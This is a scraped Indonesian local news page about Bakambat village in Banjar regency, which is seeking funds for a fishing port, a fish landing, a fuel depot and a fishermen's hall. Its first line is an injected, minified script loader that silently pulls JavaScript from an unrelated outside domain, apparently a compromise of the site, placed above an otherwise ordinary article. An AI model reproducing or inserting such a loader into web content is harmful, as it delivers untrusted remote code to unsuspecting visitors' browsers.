(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Desa Bakambat merupakan salah satu desa pesisir di antara dari 13 desa di wilayah Kecamatan Aluh Aluh, Kabupaten Banjar. Layaknya desa lainnya di kawasan pesisir, sebagian besar penduduk desa tersebut berprofesi sebagai nelayan. Guna mengembangkan potensi perikanan mandiri, Kepala Desa Bakambat Kasmayuda mengonsep pengembangan kampung nelayan di derahnya.
Menurut Kasmayuda, salah satu hal yang dirasa mendesak untuk digarap adalah pembangunan sejumlah sarana. Di antaranya adalah pembangunan pelabuhan tambatan perahu, tempat pendaratan mini ikan nelayan, serta pangkalan mini.
Terkait proyek infrastruktur tersebut, diperkirakan menghabiskan dana sebesar Rp 464.631.300 yang bersumber dari Pemkab Banjar. Sebab itu, besar harapan Kasmayuda agar pemkab mau merealisasi.
“Selama ini para nelayan hanya menggunakan pelabuhan tambat yang dimiliki oleh pihak pedagang pengumpul yang berdomisili di desa. Selain itu, pelabuhan tambat yang digunakan oleh para nelayan selama ini masih tergolong kecil atau tidak bisa mengcover sebagian besar perahu nelayan yang akan bersandar untuk melakukan transaksi penjualan hasil tangkapan,†jelas Kasmayuda kepada Kanalkalimantan.com, Rabu (28/2).
Tak cukup sampai di situ, Kasmayuda juga berencana membangun Balai Nelayan bagi masyarakat. “Hal ini tentunya adalah merupakan harapan besar bagi para nelayan Desa Bakambat. Sehingga warga yang ingin berkumpul untuk bermusyawarah dalam mendiskusikan permasalahan seputar usaha nelayan bisa lebih maksimal. Mengingat selama ini menggunakan rumah warga,†ujarnya.
Dia mengatakan, keberadaan pangkalan mini BBM Khusus Nelayan merupakan suatu parsyaratan yang waiib dibagun. Mengingat ketersediaan bahan bakar bagi nelayan merupakan hal utama dalam menjalankan aktivitasnya.
Menurut Kasmayuda, permasalahan utama yang mengemuka saat ini adalah hasil usaha penangkapan ikan yang masih belum bisa menutupi kebutuhan hidup. Hal ini selain sarana dan prasarana yang belum ada, juga akibat jalur pelayaran yang mengalami pendangkalan sedimentasi di muara sungai. “Hal ini sangat menggangu aktivitas keluar masuk para nelayan yang menyebabkan perahu terdampar ketika akan pulang atau akan melaut,†bebernya.
Meningkatnya kesejahteraan nelayan dengan terfasilitasi sarana dan prasarana yang mendukung kemandirian akan muncul sebagai imbas pembangunan sarana dan prasarana tersebut.
Desa Bakambat memiliki Iuas wilayah sebesar 227 ha. Desa ini merupakan desa pantai pesisir yang berada di kawasan Sungai Barito dengan curah hujan 1.017 2.536 mm 1 tahun dan tipe iklim B serta mempakan wilayah pasang surut.
Penduduk Desa Bakambat berjumlah 1.435 jiwa, yang terdiri dari 727 jiwa laki-laki dan 708 jiwa perempuan, dengan jumlah kepala keluarga sebanyak 442 KK. Penduduk Desa Bakambat sebagian 69,68% berpencaharian sebagai nelayan petani dan 30.32% berprofesi di bidang sektor lain seperti petemak, perkebunan, pedagang dan sektor jasa. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.